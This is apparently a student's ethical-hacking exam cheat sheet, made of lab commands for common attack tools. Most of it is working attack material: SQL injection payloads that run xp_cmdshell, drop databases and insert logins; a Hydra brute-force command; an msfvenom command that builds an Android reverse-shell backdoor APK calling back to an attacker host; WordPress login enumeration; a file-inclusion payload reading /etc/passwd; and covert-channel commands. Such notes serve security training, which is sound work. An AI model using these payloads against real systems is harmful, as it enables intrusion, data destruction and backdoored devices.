CEH-notes1

Wireshark:
Statistics, Conversations
Analyze, Expert Information
Statistics, Protocol Hierarchy

http, Follow, TCP Stream
http.request.method==post

Snow:

```
$ snow -C -m “my CC PIN is 1234” -p “magic” file.txt file2.txt
$ snow -C -p “magic” file2.txt
```

SQL Injection:

```
' or 1=1 --
'; insert into login values ('john','apple123'); --
' ;create database mydatabase; --
'; DROP DATABASE mydatabase; --
'; exec master..xp_cmdshell 'ping www.certifiedhacker.com -l 65000 -t'; --
```

Hydra:

```
$ hydra -L Username.txt -P Passwords.txt ftp://10.10.10.10
```

Android:

```
$ msfvenom -p android/meterpreter/reverse_tcp --platform android -a dalvik LHOST=10.10.10.13 R > Backdoor.apk
$ python3 phonesploit.py
```

WPScan:

```
$ wpscan --api-token [API Token] --url http://10.10.10.16:8080/CEH --enumerate vp
$ wpscan --api-token [API Token] --url http://10.10.10.16:8080/CEH --enumerate u
```

WordPress:

```
use axiliary/scanner/http/wordpress_login_enum
PASS_FILE /root/Desktop/wordlists/Passwords.txt
set RHOSTs 10.10.10.12
set RPORT 8080
set TARGETURI http://10.10.10.12:8080/CEH/
set USERNAME admin
run
```

SMB:

```
$ nbtstat -a 10.10.10.10
$ nbtstat -c
$ net use
$ Zenmap
$ nmap -sV -v --script nbstat.nse 10.10.10.16
$ nmap -sU -p 137 --script nbstat.nse 10.10.10.16
$ nmap -T4 -A 10.10.10.19
$ nmap -p 445 10.10.10.19
```

DVWA:

```
?page=file:///etc/passwd
```

Covert_TCP

```
$ ./covert_tcp -dest 10.10.10.9 -source 10.10.10.13 -source_port 9999 -dest_port 8888 -server -file /home/ubuntu/Desktop/Receive/receive.txt
$  ./covert_tcp -dest 10.10.10.9 -source 10.10.10.13 -source_port 8888 -dest_port 9999 -file /home/attacker/Desktop/Send/message.txt
```